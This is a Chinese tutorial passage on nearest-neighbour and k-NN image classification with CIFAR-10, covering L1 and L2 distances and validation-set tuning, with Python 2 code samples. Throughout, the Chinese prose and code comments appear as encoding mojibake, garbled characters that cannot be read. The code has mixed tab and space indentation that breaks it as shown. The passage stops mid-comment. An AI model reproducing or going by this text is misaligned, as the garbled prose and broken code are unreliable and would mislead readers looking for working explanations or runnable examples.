ท็š„็ป“ๆžœใ€‚่ฏทๆณจๆ„ไธŠ้ข10ไธชๅˆ†็ฑปไธญ๏ผŒๅชๆœ‰3ไธชๆ˜ฏๅ‡†็กฎ็š„ใ€‚ๆฏ”ๅฆ‚็ฌฌ8่กŒไธญ๏ผŒ้ฉฌๅคด่ขซๅˆ†็ฑปไธบไธ€ไธช็บข่‰ฒ็š„่ท‘่ฝฆ๏ผŒๅŽŸๅ› ๅœจไบŽ็บข่‰ฒ่ท‘่ฝฆ็š„้ป‘่‰ฒ่ƒŒๆ™ฏ้žๅธธๅผบ็ƒˆ๏ผŒๆ‰€ไปฅ่ฟ™ๅŒน้ฉฌๅฐฑ่ขซ้”™่ฏฏๅˆ†็ฑปไธบ่ท‘่ฝฆไบ†ใ€‚\n\n้‚ฃไนˆๅ…ทไฝ“ๅฆ‚ไฝ•ๆฏ”่พƒไธคๅผ ๅ›พ็‰‡ๅ‘ข๏ผŸๅœจๆœฌไพ‹ไธญ๏ผŒๅฐฑๆ˜ฏๆฏ”่พƒ32x32x3็š„ๅƒ็ด ๅ—ใ€‚ๆœ€็ฎ€ๅ•็š„ๆ–นๆณ•ๅฐฑๆ˜ฏ้€ไธชๅƒ็ด ๆฏ”่พƒ๏ผŒๆœ€ๅŽๅฐ†ๅทฎๅผ‚ๅ€ผๅ…จ้ƒจๅŠ ่ตทๆฅใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๅฐฑๆ˜ฏๅฐ†ไธคๅผ ๅ›พ็‰‡ๅ…ˆ่ฝฌๅŒ–ไธบไธคไธชๅ‘้‡$I_1$ๅ’Œ$I_2$๏ผŒ็„ถๅŽ่ฎก็ฎ—ไป–ไปฌ็š„**L1่ท็ฆป๏ผš**\n$$\nd_1(I_1,I_2)=\\sum_p|I^p_1-I^p_2|\n$$\n่ฟ™้‡Œ็š„ๆฑ‚ๅ’Œๆ˜ฏ้’ˆๅฏนๆ‰€ๆœ‰็š„ๅƒ็ด ใ€‚ไธ‹้ขๆ˜ฏๆ•ดไธชๆฏ”่พƒๆต็จ‹็š„ๅ›พไพ‹๏ผš\n\n๏ผˆ่‡ชๆณจ๏ผšๆฏไธชๅฏนๅบ”ๅƒ็ด ไน‹ๅทฎ็š„็ป“ๆžœๅ…จ้ƒจๅ–ๅ’Œโ€”โ€”ๆ‰€่ฐ“L1่ท็ฆป๏ผ‰\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e09fbb4bc8.png)\n\nไปฅๅ›พ็‰‡ไธญ็š„ไธ€ไธช้ขœ่‰ฒ้€š้“ไธบไพ‹ๆฅ่ฟ›่กŒ่ฏดๆ˜Žใ€‚ไธคๅผ ๅ›พ็‰‡ไฝฟ็”จL1่ท็ฆปๆฅ่ฟ›่กŒๆฏ”่พƒใ€‚้€ไธชๅƒ็ด ๆฑ‚ๅทฎๅ€ผ๏ผŒ็„ถๅŽๅฐ†ๆ‰€ๆœ‰ๅทฎๅ€ผๅŠ ่ตทๆฅๅพ—ๅˆฐไธ€ไธชๆ•ฐๅ€ผใ€‚ๅฆ‚ๆžœไธคๅผ ๅ›พ็‰‡ไธ€ๆจกไธ€ๆ ท๏ผŒ้‚ฃไนˆL1่ท็ฆปไธบ0๏ผŒไฝ†ๆ˜ฏๅฆ‚ๆžœไธคๅผ ๅ›พ็‰‡ๅพˆๆ˜ฏไธๅŒ๏ผŒ้‚ฃL1ๅ€ผๅฐ†ไผš้žๅธธๅคงใ€‚\n\n---\n\nไธ‹้ข๏ผŒ่ฎฉๆˆ‘ไปฌ็œ‹็œ‹ๅฆ‚ไฝ•็”จไปฃ็ ๆฅๅฎž็Žฐ่ฟ™ไธชๅˆ†็ฑปๅ™จใ€‚้ฆ–ๅ…ˆ๏ผŒๆˆ‘ไปฌๅฐ†CIFAR-10็š„ๆ•ฐๆฎๅŠ ่ฝฝๅˆฐๅ†…ๅญ˜ไธญ๏ผŒๅนถๅˆ†ๆˆ4ไธชๆ•ฐ็ป„๏ผš่ฎญ็ปƒๆ•ฐๆฎๅ’Œๆ ‡็ญพ๏ผŒๆต‹่ฏ•ๆ•ฐๆฎๅ’Œๆ ‡็ญพใ€‚ๅœจไธ‹้ข็š„ไปฃ็ ไธญ๏ผŒ**Xtr**๏ผˆๅคงๅฐๆ˜ฏ50000x32x32x3๏ผ‰ๅญ˜ๆœ‰่ฎญ็ปƒ้›†ไธญๆ‰€ๆœ‰็š„ๅ›พๅƒ๏ผŒ**Ytr**ๆ˜ฏๅฏนๅบ”็š„้•ฟๅบฆไธบ50000็š„1็ปดๆ•ฐ็ป„๏ผŒๅญ˜ๆœ‰ๅ›พๅƒๅฏนๅบ”็š„ๅˆ†็ฑปๆ ‡็ญพ๏ผˆไปŽ0ๅˆฐ9๏ผ‰๏ผš\n\n```python\nXtr, Ytr, Xte, Yte = load_CIFAR10('data/cifar10/') # a magic function we provide\n# flatten out all images to be one-dimensional\nXtr_rows = Xtr.reshape(Xtr.shape[0], 32 * 32 * 3) # Xtr_rows becomes 50000 x 3072\nXte_rows = Xte.reshape(Xte.shape[0], 32 * 32 * 3) # Xte_rows becomes 10000 x 3072\n```\n\n๏ผˆ่‡ชๆณจ๏ผš่ฎญ็ปƒ้›†ไธญๆœ‰50000ๅผ ๅ›พ็‰‡๏ผŒๆฏไธชๅ›พ็‰‡reshapeๆˆไธบไบ†ไธ€ๆกไธ€็ปด็š„ๆ•ฐ็ป„๏ผŒๅ…ฑ3072ไธชๅ…ƒ็ด ใ€‚๏ผ‰\n\n็Žฐๅœจๆˆ‘ไปฌๅพ—ๅˆฐๆ‰€ๆœ‰็š„ๅ›พๅƒๆ•ฐๆฎ๏ผŒๅนถไธ”ๆŠŠไป–ไปฌๆ‹‰้•ฟๆˆไธบ่กŒๅ‘้‡ไบ†ใ€‚ๆŽฅไธ‹ๆฅๅฑ•็คบๅฆ‚ไฝ•่ฎญ็ปƒๅนถ่ฏ„ไปทไธ€ไธชๅˆ†็ฑปๅ™จ๏ผš\n\n```python\nnn = NearestNeighbor() # create a Nearest Neighbor classifier class\nnn.train(Xtr_rows, Ytr) # train the classifier on the training images and labels\nYte_predict = nn.predict(Xte_rows) # predict labels on the test images\n# and now print the classification accuracy, which is the average number\n# of examples that are correctly predicted (i.e. label matches)\nprint 'accuracy: %f' % ( np.mean(Yte_predict == Yte) ) # python2.x\n```\n\nไฝœไธบ่ฏ„ไปทๆ ‡ๅ‡†๏ผŒๆˆ‘ไปฌๅธธๅธธไฝฟ็”จ**ๅ‡†็กฎ็Ž‡**๏ผŒๅฎƒๆ่ฟฐไบ†ๆˆ‘ไปฌ้ข„ๆต‹ๆญฃ็กฎ็š„ๅพ—ๅˆ†ใ€‚่ฏทๆณจๆ„ไปฅๅŽๆˆ‘ไปฌๅฎž็Žฐ็š„ๆ‰€ๆœ‰ๅˆ†็ฑปๅ™จ้ƒฝ้œ€่ฆๆœ‰่ฟ™ไธชAPI๏ผš**train(X, y)**ๅ‡ฝๆ•ฐใ€‚่ฏฅๅ‡ฝๆ•ฐไฝฟ็”จ่ฎญ็ปƒ้›†็š„ๆ•ฐๆฎๅ’Œๆ ‡็ญพๆฅ่ฟ›่กŒ่ฎญ็ปƒใ€‚ไปŽๅ…ถๅ†…้ƒจๆฅ็œ‹๏ผŒ็ฑปๅบ”่ฏฅๅฎž็Žฐไธ€ไบ›ๅ…ณไบŽๆ ‡็ญพๅ’Œๆ ‡็ญพๅฆ‚ไฝ•่ขซ้ข„ๆต‹็š„ๆจกๅž‹ใ€‚่ฟ™้‡Œ่ฟ˜ๆœ‰ไธช**predict(X)**ๅ‡ฝๆ•ฐ๏ผŒๅฎƒ็š„ไฝœ็”จๆ˜ฏ้ข„ๆต‹่พ“ๅ…ฅ็š„ๆ–ฐๆ•ฐๆฎ็š„ๅˆ†็ฑปๆ ‡็ญพใ€‚็Žฐๅœจ่ฟ˜ๆฒกไป‹็ปๅˆ†็ฑปๅ™จ็š„ๅฎž็Žฐ๏ผŒไธ‹้ขๅฐฑๆ˜ฏ<u>ไฝฟ็”จL1่ท็ฆป็š„Nearest Neighborๅˆ†็ฑปๅ™จ</u>็š„ๅฎž็Žฐๅฅ—่ทฏ๏ผš\n\n```python\nimport numpy as np\n\nclass NearestNeighbor(object):\n\tdef __init__(self):\n\t\tpass\n\n\tdef train(self, X, y):\n \t\"\"\" \n \t่ฟ™ไธชๅœฐๆ–น็š„่ฎญ็ปƒๅ…ถๅฎžๅฐฑๆ˜ฏๆŠŠๆ‰€ๆœ‰็š„ๅทฒๆœ‰ๅ›พ็‰‡่ฏปๅ–่ฟ›ๆฅ -_-||\n \t\"\"\"\n \t\"\"\" X is N x D where each row is an example. Y is 1-dimension of size N \"\"\"\n \t# the nearest neighbor classifier simply remembers all the training data\n \tself.Xtr = X\n \tself.ytr = y\n\n\tdef predict(self, X):\n \t\t\"\"\" \n \tๆ‰€่ฐ“็š„้ข„ๆต‹่ฟ‡็จ‹ๅ…ถๅฎžๅฐฑๆ˜ฏๆ‰ซๆๆ‰€ๆœ‰่ฎญ็ปƒ้›†ไธญ็š„ๅ›พ็‰‡๏ผŒ่ฎก็ฎ—่ท็ฆป๏ผŒๅ–ๆœ€ๅฐ็š„่ท็ฆปๅฏนๅบ”ๅ›พ็‰‡็š„็ฑป็›ฎ\n \t\"\"\"\n \t\"\"\" X is N x D where each row is an example we wish to predict label for \"\"\"\n \tnum_test = X.shape[0]\n # ่ฟ™้‡Œ่ฆไฟ่ฏ็ปดๅบฆไธ€่‡ด๏ผ\n \t# lets make sure that the output type matches the input type\n \tYpred = np.zeros(num_test, dtype = self.ytr.dtype) # ไธ€็ปดๅ…ƒ็ด ้ƒฝๆ˜ฏ0็š„array\n\n # ๆŠŠ่ฎญ็ปƒ้›†ๆ‰ซไธ€้ -_-||\n\t\t# loop over all test rows\n \tfor i in xrange(num_test): \n # ๆณจๆ„่ฟ™้‡Œ็š„xrangeไป…้€‚็”จไบŽpython2.x๏ผŒrange้€‚็”จไบŽpython3.x\n \t\t# find the nearest training image to the i'th test image\n \t\t# using the L1 distance (sum of absolute value differences)\n \t\t# ๅฏน่ฎญ็ปƒ้›†ไธญๆฏไธ€ๅผ ๅ›พ็‰‡้ƒฝไธŽๆŒ‡ๅฎš็š„ไธ€ๅผ ๆต‹่ฏ•ๅ›พ็‰‡๏ผŒๅœจๅฏนๅบ”ๅ…ƒ็ด ไฝ็ฝฎไธŠๅšๅทฎ๏ผŒ\n # ็„ถๅŽๅˆ†ๅˆซไปฅๆฏๅผ ๅ›พ็‰‡ไธบๅ•ไฝๆฑ‚ๅ’Œใ€‚\n \t\tdistances = np.sum(np.abs(self.Xtr - X[i,:]), axis = 1)\t# ไธ€ไธช5000ๅ…ƒ็ด ็š„list\n \t\t# ๅ–ๆœ€ๅฐdistanceๅ›พ็‰‡็š„ไธ‹ๆ ‡๏ผš\n \t\tmin_index = np.argmin(distances) # get the index with smallest distance\n \t\tYpred[i] = self.ytr[min_index] # predict the label of the nearest example\n\n \treturn Ypred\n```\n\nๅฆ‚ๆžœไฝ ็”จ่ฟ™ๆฎตไปฃ็ ่ท‘CIFAR-10๏ผŒไฝ ไผšๅ‘็Žฐๅ‡†็กฎ็Ž‡่ƒฝ่พพๅˆฐ**38.6%**ใ€‚่ฟ™ๆฏ”้šๆœบ็Œœๆต‹็š„10%่ฆๅฅฝ๏ผŒไฝ†ๆ˜ฏๆฏ”ไบบ็ฑป่ฏ†ๅˆซ็š„ๆฐดๅนณ๏ผˆ[ๆฎ็ ”็ฉถๆŽจๆต‹ๆ˜ฏ94%](http://link.zhihu.com/?target=http%3A//karpathy.github.io/2011/04/27/manually-classifying-cifar10/)๏ผ‰ๅ’Œๅท็งฏ็ฅž็ป็ฝ‘็ปœ่ƒฝ่พพๅˆฐ็š„95%่ฟ˜ๆ˜ฏๅทฎๅคšไบ†ใ€‚็‚นๅ‡ปๆŸฅ็œ‹ๅŸบไบŽCIFAR-10ๆ•ฐๆฎ็š„[Kaggle็ฎ—ๆณ•็ซž่ต›ๆŽ’่กŒๆฆœ](http://link.zhihu.com/?target=http%3A//www.kaggle.com/c/cifar-10/leaderboard)ใ€‚\n\n**่ท็ฆป้€‰ๆ‹ฉ**๏ผš่ฎก็ฎ—ๅ‘้‡้—ด็š„่ท็ฆปๆœ‰ๅพˆๅคš็งๆ–นๆณ•๏ผŒๅฆไธ€ไธชๅธธ็”จ็š„ๆ–นๆณ•ๆ˜ฏ**L2่ท็ฆป**๏ผŒไปŽๅ‡ ไฝ•ๅญฆ็š„่ง’ๅบฆ๏ผŒๅฏไปฅ็†่งฃไธบๅฎƒๅœจ่ฎก็ฎ—ไธคไธชๅ‘้‡้—ด็š„ๆฌงๅผ่ท็ฆปใ€‚L2่ท็ฆป็š„ๅ…ฌๅผๅฆ‚ไธ‹๏ผš\n$$\nd_2(I_1,I_2)=\\sqrt{\\sum_p(I^P_1-I^p_2)^2}\n$$\nๆขๅฅ่ฏ่ฏด๏ผŒๆˆ‘ไปฌไพๆ—งๆ˜ฏๅœจ่ฎก็ฎ—ๅƒ็ด ้—ด็š„ๅทฎๅ€ผ๏ผŒๅชๆ˜ฏๅ…ˆๆฑ‚ๅ…ถๅนณๆ–น๏ผŒ็„ถๅŽๆŠŠ่ฟ™ไบ›ๅนณๆ–นๅ…จ้ƒจๅŠ ่ตทๆฅ๏ผŒๆœ€ๅŽๅฏน่ฟ™ไธชๅ’Œๅผ€ๆ–นใ€‚ๅœจNumpyไธญ๏ผŒๆˆ‘ไปฌๅช้œ€่ฆๆ›ฟๆขไธŠ้ขไปฃ็ ไธญ็š„1่กŒไปฃ็ ๅฐฑ่กŒ๏ผš\n\n```python\ndistances = np.sqrt(np.sum(np.square(self.Xtr - X[i,:]), axis = 1))\n```\n\nๆณจๆ„ๅœจ่ฟ™้‡Œไฝฟ็”จไบ†**np.sqrt**๏ผŒไฝ†ๆ˜ฏๅœจๅฎž้™…ไธญๅฏ่ƒฝไธ็”จใ€‚ๅ› ไธบๆฑ‚ๅนณๆ–นๆ นๅ‡ฝๆ•ฐๆ˜ฏไธ€ไธช*ๅ•่ฐƒๅ‡ฝๆ•ฐ*๏ผŒๅฎƒๅฏนไธๅŒ่ท็ฆป็š„็ปๅฏนๅ€ผๆฑ‚ๅนณๆ–นๆ น่™ฝ็„ถๆ”นๅ˜ไบ†ๆ•ฐๅ€ผๅคงๅฐ๏ผŒไฝ†ไพ็„ถไฟๆŒไบ†ไธๅŒ่ท็ฆปๅคงๅฐ็š„้กบๅบใ€‚ๆ‰€ไปฅ็”จไธ็”จๅฎƒ๏ผŒ้ƒฝ่ƒฝๅคŸๅฏนๅƒ็ด ๅทฎๅผ‚็š„ๅคงๅฐ่ฟ›่กŒๆญฃ็กฎๆฏ”่พƒใ€‚ๅฆ‚ๆžœไฝ ๅœจCIFAR-10ไธŠ้ข่ท‘่ฟ™ไธชๆจกๅž‹๏ผŒๆญฃ็กฎ็Ž‡ๆ˜ฏ**35.4%**๏ผŒๆฏ”ๅˆšๆ‰ไฝŽไบ†ไธ€็‚นใ€‚\n\n**L1ๅ’ŒL2ๆฏ”่พƒ**ใ€‚ๆฏ”่พƒ่ฟ™ไธคไธชๅบฆ้‡ๆ–นๅผๆ˜ฏๆŒบๆœ‰ๆ„ๆ€็š„ใ€‚ๅœจ้ขๅฏนไธคไธชๅ‘้‡ไน‹้—ด็š„ๅทฎๅผ‚ๆ—ถ๏ผŒL2ๆฏ”L1ๆ›ดๅŠ ไธ่ƒฝๅฎนๅฟ่ฟ™ไบ›ๅทฎๅผ‚ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒ็›ธๅฏนไบŽ1ไธชๅทจๅคง็š„ๅทฎๅผ‚๏ผŒL2่ท็ฆปๆ›ดๅ€พๅ‘ไบŽๆŽฅๅ—ๅคšไธชไธญ็ญ‰็จ‹ๅบฆ็š„ๅทฎๅผ‚ใ€‚L1ๅ’ŒL2้ƒฝๆ˜ฏๅœจ[p-norm](http://link.zhihu.com/?target=http%3A//planetmath.org/vectorpnorm)ๅธธ็”จ็š„็‰นๆฎŠๅฝขๅผใ€‚\n\n๏ผˆ่‡ชๆณจ๏ผšๆ›ดๅคš็š„่ท็ฆปๅ‡†ๅˆ™ๅฏไปฅๅ‚่ง[scipy็›ธๅ…ณ่ฎก็ฎ—้กต้ข](http://docs.scipy.org/doc/scipy-0.16.0/reference/generated/scipy.spatial.distance.pdist.html).๏ผ‰\n\n## k-Nearest Neighborๅˆ†็ฑปๅ™จ\n\nไฝ ๅฏ่ƒฝๆณจๆ„ๅˆฐไบ†๏ผŒไธบไป€ไนˆๅช็”จๆœ€็›ธไผผ็š„1ๅผ ๅ›พ็‰‡็š„ๆ ‡็ญพๆฅไฝœไธบๆต‹่ฏ•ๅ›พๅƒ็š„ๆ ‡็ญพๅ‘ข๏ผŸ่ฟ™ไธๆ˜ฏๅพˆๅฅ‡ๆ€ชๅ—๏ผๆ˜ฏ็š„๏ผŒไฝฟ็”จ**k-Nearest Neighborๅˆ†็ฑปๅ™จ**ๅฐฑ่ƒฝๅšๅพ—ๆ›ดๅฅฝใ€‚ๅฎƒ็š„ๆ€ๆƒณๅพˆ็ฎ€ๅ•๏ผšไธŽๅ…ถๅชๆ‰พๆœ€็›ธ่ฟ‘็š„้‚ฃ1ไธชๅ›พ็‰‡็š„ๆ ‡็ญพ๏ผŒๆˆ‘ไปฌๆ‰พๆœ€็›ธไผผ็š„kไธชๅ›พ็‰‡็š„ๆ ‡็ญพ๏ผŒ็„ถๅŽ่ฎฉไป–ไปฌ้’ˆๅฏนๆต‹่ฏ•ๅ›พ็‰‡่ฟ›่กŒๆŠ•็ฅจ๏ผŒๆœ€ๅŽๆŠŠ็ฅจๆ•ฐๆœ€้ซ˜็š„ๆ ‡็ญพไฝœไธบๅฏนๆต‹่ฏ•ๅ›พ็‰‡็š„้ข„ๆต‹ใ€‚ๆ‰€ไปฅๅฝ“k=1็š„ๆ—ถๅ€™๏ผŒk-Nearest Neighborๅˆ†็ฑปๅ™จๅฐฑๆ˜ฏNearest Neighborๅˆ†็ฑปๅ™จใ€‚ไปŽ็›ด่ง‚ๆ„Ÿๅ—ไธŠๅฐฑๅฏไปฅ็œ‹ๅˆฐ๏ผŒๆ›ด้ซ˜็š„kๅ€ผๅฏไปฅ่ฎฉๅˆ†็ฑป็š„ๆ•ˆๆžœๆ›ดๅนณๆป‘๏ผŒไฝฟๅพ—ๅˆ†็ฑปๅ™จๅฏนไบŽๅผ‚ๅธธๅ€ผๆ›ดๆœ‰ๆŠตๆŠ—ๅŠ›ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e0a198cbf7.png)\n\nไธŠ้ข็คบไพ‹ๅฑ•็คบไบ†Nearest Neighborๅˆ†็ฑปๅ™จๅ’Œ5-Nearest Neighborๅˆ†็ฑปๅ™จ็š„ๅŒบๅˆซใ€‚ไพ‹ๅญไฝฟ็”จไบ†2็ปด็š„็‚นๆฅ่กจ็คบ๏ผŒๅˆ†ๆˆ3็ฑป๏ผˆ็บขใ€่“ๅ’Œ็ปฟ๏ผ‰ใ€‚ไธๅŒ้ขœ่‰ฒๅŒบๅŸŸไปฃ่กจ็š„ๆ˜ฏไฝฟ็”จL2่ท็ฆป็š„ๅˆ†็ฑปๅ™จ็š„**ๅ†ณ็ญ–่พน็•Œ**ใ€‚็™ฝ่‰ฒ็š„ๅŒบๅŸŸๆ˜ฏๅˆ†็ฑปๆจก็ณŠ็š„ไพ‹ๅญ๏ผˆๅณๅ›พๅƒไธŽไธคไธชไปฅไธŠ็š„ๅˆ†็ฑปๆ ‡็ญพ็ป‘ๅฎš๏ผ‰ใ€‚้œ€่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒๅœจNNๅˆ†็ฑปๅ™จไธญ๏ผŒๅผ‚ๅธธ็š„ๆ•ฐๆฎ็‚น๏ผˆๆฏ”ๅฆ‚๏ผšๅœจ่“่‰ฒๅŒบๅŸŸไธญ็š„็ปฟ็‚น๏ผ‰ๅˆถ้€ ๅ‡บไธ€ไธชไธๆญฃ็กฎ้ข„ๆต‹็š„ๅญคๅฒ›ใ€‚5-NNๅˆ†็ฑปๅ™จๅฐ†่ฟ™ไบ›ไธ่ง„ๅˆ™้ƒฝๅนณๆป‘ไบ†๏ผŒไฝฟๅพ—ๅฎƒ้’ˆๅฏนๆต‹่ฏ•ๆ•ฐๆฎ็š„**ๆณ›ๅŒ–๏ผˆgeneralization๏ผ‰**่ƒฝๅŠ›ๆ›ดๅฅฝ๏ผˆไพ‹ๅญไธญๆœชๅฑ•็คบ๏ผ‰ใ€‚ๆณจๆ„๏ผŒ5-NNไธญไนŸๅญ˜ๅœจไธ€ไบ›็ฐ่‰ฒๅŒบๅŸŸ๏ผŒ่ฟ™ไบ›ๅŒบๅŸŸๆ˜ฏๅ› ไธบ่ฟ‘้‚ปๆ ‡็ญพ็š„ๆœ€้ซ˜็ฅจๆ•ฐ็›ธๅŒๅฏผ่‡ด็š„๏ผˆๆฏ”ๅฆ‚๏ผš2ไธช้‚ปๅฑ…ๆ˜ฏ็บข่‰ฒ๏ผŒ2ไธช้‚ปๅฑ…ๆ˜ฏ่“่‰ฒ๏ผŒ่ฟ˜ๆœ‰1ไธชๆ˜ฏ็ปฟ่‰ฒ๏ผ‰ใ€‚\n\n---\n\nๅœจๅฎž้™…ไธญ๏ผŒๅคงๅคšไฝฟ็”จk-NNๅˆ†็ฑปๅ™จใ€‚ไฝ†ๆ˜ฏkๅ€ผๅฆ‚ไฝ•็กฎๅฎšๅ‘ข๏ผŸๆŽฅไธ‹ๆฅๅฐฑ่ฎจ่ฎบ่ฟ™ไธช้—ฎ้ข˜ใ€‚\n\n\n\n## ็”จไบŽ่ถ…ๅ‚ๆ•ฐ่ฐƒไผ˜็š„้ชŒ่ฏ้›†\n\nk-NNๅˆ†็ฑปๅ™จ้œ€่ฆ่ฎพๅฎškๅ€ผ๏ผŒ้‚ฃไนˆ้€‰ๆ‹ฉๅ“ชไธชkๅ€ผๆœ€ๅˆ้€‚็š„ๅ‘ข๏ผŸๆˆ‘ไปฌๅฏไปฅ้€‰ๆ‹ฉไธๅŒ็š„่ท็ฆปๅ‡ฝๆ•ฐ๏ผŒๆฏ”ๅฆ‚L1่Œƒๆ•ฐๅ’ŒL2่Œƒๆ•ฐ็ญ‰๏ผŒ้‚ฃไนˆ้€‰ๅ“ชไธชๅฅฝ๏ผŸ่ฟ˜ๆœ‰ไธๅฐ‘้€‰ๆ‹ฉๆˆ‘ไปฌ็”š่‡ณ่ฟž่€ƒ่™‘้ƒฝๆฒกๆœ‰่€ƒ่™‘ๅˆฐ๏ผˆๆฏ”ๅฆ‚๏ผš็‚น็งฏ๏ผ‰ใ€‚ๆ‰€ๆœ‰่ฟ™ไบ›้€‰ๆ‹ฉ๏ผŒ่ขซ็งฐไธบ**่ถ…ๅ‚ๆ•ฐ๏ผˆhyperparameter๏ผ‰**ใ€‚ๅœจๅŸบไบŽๆ•ฐๆฎ่ฟ›่กŒๅญฆไน ็š„ๆœบๅ™จๅญฆไน ็ฎ—ๆณ•่ฎพ่ฎกไธญ๏ผŒ่ถ…ๅ‚ๆ•ฐๆ˜ฏๅพˆๅธธ่ง็š„ใ€‚ไธ€่ˆฌ่ฏดๆฅ๏ผŒ่ฟ™ไบ›่ถ…ๅ‚ๆ•ฐๅ…ทไฝ“ๆ€Žไนˆ่ฎพ็ฝฎๆˆ–ๅ–ๅ€ผๅนถไธๆ˜ฏๆ˜พ่€Œๆ˜“่ง็š„ใ€‚\n\nไฝ ๅฏ่ƒฝไผšๅปบ่ฎฎๅฐ่ฏ•ไธๅŒ็š„ๅ€ผ๏ผŒ็œ‹ๅ“ชไธชๅ€ผ่กจ็Žฐๆœ€ๅฅฝๅฐฑ้€‰ๅ“ชไธชใ€‚ๅฅฝไธปๆ„๏ผๆˆ‘ไปฌๅฐฑๆ˜ฏ่ฟ™ไนˆๅš็š„๏ผŒไฝ†่ฟ™ๆ ทๅš็š„ๆ—ถๅ€™่ฆ้žๅธธ็ป†ๅฟƒใ€‚<u>็‰นๅˆซๆณจๆ„๏ผš</u>**ๅ†ณไธ่ƒฝไฝฟ็”จๆต‹่ฏ•้›†ๆฅ่ฟ›่กŒ่ฐƒไผ˜**ใ€‚ๅฝ“ไฝ ๅœจ่ฎพ่ฎกๆœบๅ™จๅญฆไน ็ฎ—ๆณ•็š„ๆ—ถๅ€™๏ผŒๅบ”่ฏฅๆŠŠๆต‹่ฏ•้›†็œ‹ๅš้žๅธธ็่ดต็š„่ต„ๆบ๏ผŒไธๅˆฐๆœ€ๅŽไธ€ๆญฅ๏ผŒ็ปไธไฝฟ็”จๅฎƒใ€‚ๅฆ‚ๆžœไฝ ไฝฟ็”จๆต‹่ฏ•้›†ๆฅ่ฐƒไผ˜๏ผŒ่€Œไธ”็ฎ—ๆณ•็œ‹่ตทๆฅๆ•ˆๆžœไธ้”™๏ผŒ้‚ฃไนˆ็œŸๆญฃ็š„ๅฑ้™ฉๅœจไบŽ๏ผš็ฎ—ๆณ•ๅฎž้™…้ƒจ็ฝฒๅŽ๏ผŒๆ€ง่ƒฝๅฏ่ƒฝไผš่ฟœไฝŽไบŽ้ข„ๆœŸใ€‚่ฟ™็งๆƒ…ๅ†ต๏ผŒ็งฐไน‹ไธบ็ฎ—ๆณ•ๅฏนๆต‹่ฏ•้›†**่ฟ‡ๆ‹Ÿๅˆ**ใ€‚ไปŽๅฆไธ€ไธช่ง’ๅบฆๆฅ่ฏด๏ผŒๅฆ‚ๆžœไฝฟ็”จๆต‹่ฏ•้›†ๆฅ่ฐƒไผ˜๏ผŒๅฎž้™…ไธŠๅฐฑๆ˜ฏๆŠŠๆต‹่ฏ•้›†ๅฝ“ๅš่ฎญ็ปƒ้›†๏ผŒ็”ฑๆต‹่ฏ•้›†่ฎญ็ปƒๅ‡บๆฅ็š„็ฎ—ๆณ•ๅ†่ท‘ๆต‹่ฏ•้›†๏ผŒ่‡ช็„ถๆ€ง่ƒฝ็œ‹่ตทๆฅไผšๅพˆๅฅฝใ€‚่ฟ™ๅ…ถๅฎžๆ˜ฏ่ฟ‡ไบŽไน่ง‚ไบ†๏ผŒๅฎž้™…้ƒจ็ฝฒ่ตทๆฅๆ•ˆๆžœๅฐฑไผšๅทฎๅพˆๅคšใ€‚ๆ‰€ไปฅ๏ผŒๆœ€็ปˆๆต‹่ฏ•็š„ๆ—ถๅ€™ๅ†ไฝฟ็”จๆต‹่ฏ•้›†๏ผŒๅฏไปฅๅพˆๅฅฝๅœฐ่ฟ‘ไผผๅบฆ้‡ไฝ ๆ‰€่ฎพ่ฎก็š„ๅˆ†็ฑปๅ™จ็š„ๆณ›ๅŒ–ๆ€ง่ƒฝ๏ผˆๅœจๆŽฅไธ‹ๆฅ็š„่ฏพ็จ‹ไธญไผšๆœ‰ๅพˆๅคšๅ…ณไบŽๆณ›ๅŒ–ๆ€ง่ƒฝ็š„่ฎจ่ฎบ๏ผ‰ใ€‚\n\n> ๆต‹่ฏ•ๆ•ฐๆฎ้›†ๅชไฝฟ็”จไธ€ๆฌก๏ผŒๅณๅœจ่ฎญ็ปƒๅฎŒๆˆๅŽ่ฏ„ไปทๆœ€็ปˆ็š„ๆจกๅž‹ๆ—ถไฝฟ็”จใ€‚\n\nๅฅฝๅœจๆˆ‘ไปฌๆœ‰ไธ็”จๆต‹่ฏ•้›†่ฐƒไผ˜็š„ๆ–นๆณ•ใ€‚ๅ…ถๆ€่ทฏๆ˜ฏ๏ผšไปŽ่ฎญ็ปƒ้›†ไธญๅ–ๅ‡บไธ€้ƒจๅˆ†ๆ•ฐๆฎ็”จๆฅ่ฐƒไผ˜๏ผŒๆˆ‘ไปฌ็งฐไน‹ไธบ**้ชŒ่ฏ้›†๏ผˆvalidation set๏ผ‰**ใ€‚ไปฅCIFAR-10ไธบไพ‹๏ผŒๆˆ‘ไปฌๅฏไปฅ็”จ49000ไธชๅ›พๅƒไฝœไธบ่ฎญ็ปƒ้›†๏ผŒ็”จ1000ไธชๅ›พๅƒไฝœไธบ้ชŒ่ฏ้›†ใ€‚้ชŒ่ฏ้›†ๅ…ถๅฎžๅฐฑๆ˜ฏไฝœไธบๅ‡็š„ๆต‹่ฏ•้›†ๆฅ่ฐƒไผ˜ใ€‚ไธ‹้ขๅฐฑๆ˜ฏไปฃ็ ๏ผš\n\n```python\n# ๅ‡ๅฎšๅทฒ็ปๆœ‰Xtr_rows, Ytr, Xte_rows, Yteไบ†๏ผŒๅ…ถไธญXtr_rowsไธบ50000*3072 ็Ÿฉ้˜ต\n# assume we have Xtr_rows, Ytr, Xte_rows, Yte as before\n# recall Xtr_rows is 50,000 x 3072 matrix\nXval_rows = Xtr_rows[:1000, :] # take first 1000 for validation ๆž„ๅปบๅ‰1000ไธชๅ›พไธบไบคๅ‰้ชŒ่ฏ้›†\nYval = Ytr[:1000]\nXtr_rows = Xtr_rows[1000:, :] # keep last 49,000 for train ไฟ็•™ๅ…ถไฝ™49000ไธชๅ›พไธบ่ฎญ็ปƒ้›†\nYtr = Ytr[1000:]\n\n# ่ฎพ็ฝฎไธ€ไบ›kๅ€ผ๏ผŒ็”จไบŽ่ฏ•้ชŒ\n# find hyperparameters that work best on the validation set\nvalidation_accuracies = []\nfor k in [1, 3, 5, 10, 20, 50, 100]:\n\n # ๅˆๅง‹ๅŒ–ๅฏน่ฑก\n # use a particular value of k and evaluation on validation data\n nn = NearestNeighbor()\n\tnn.train(Xtr_rows, Ytr)\n # ไฟฎๆ”นไธ€ไธ‹predictๅ‡ฝๆ•ฐ๏ผŒๆŽฅๅ— k ไฝœไธบๅ‚ๆ•ฐ\n \t# here we assume a modified 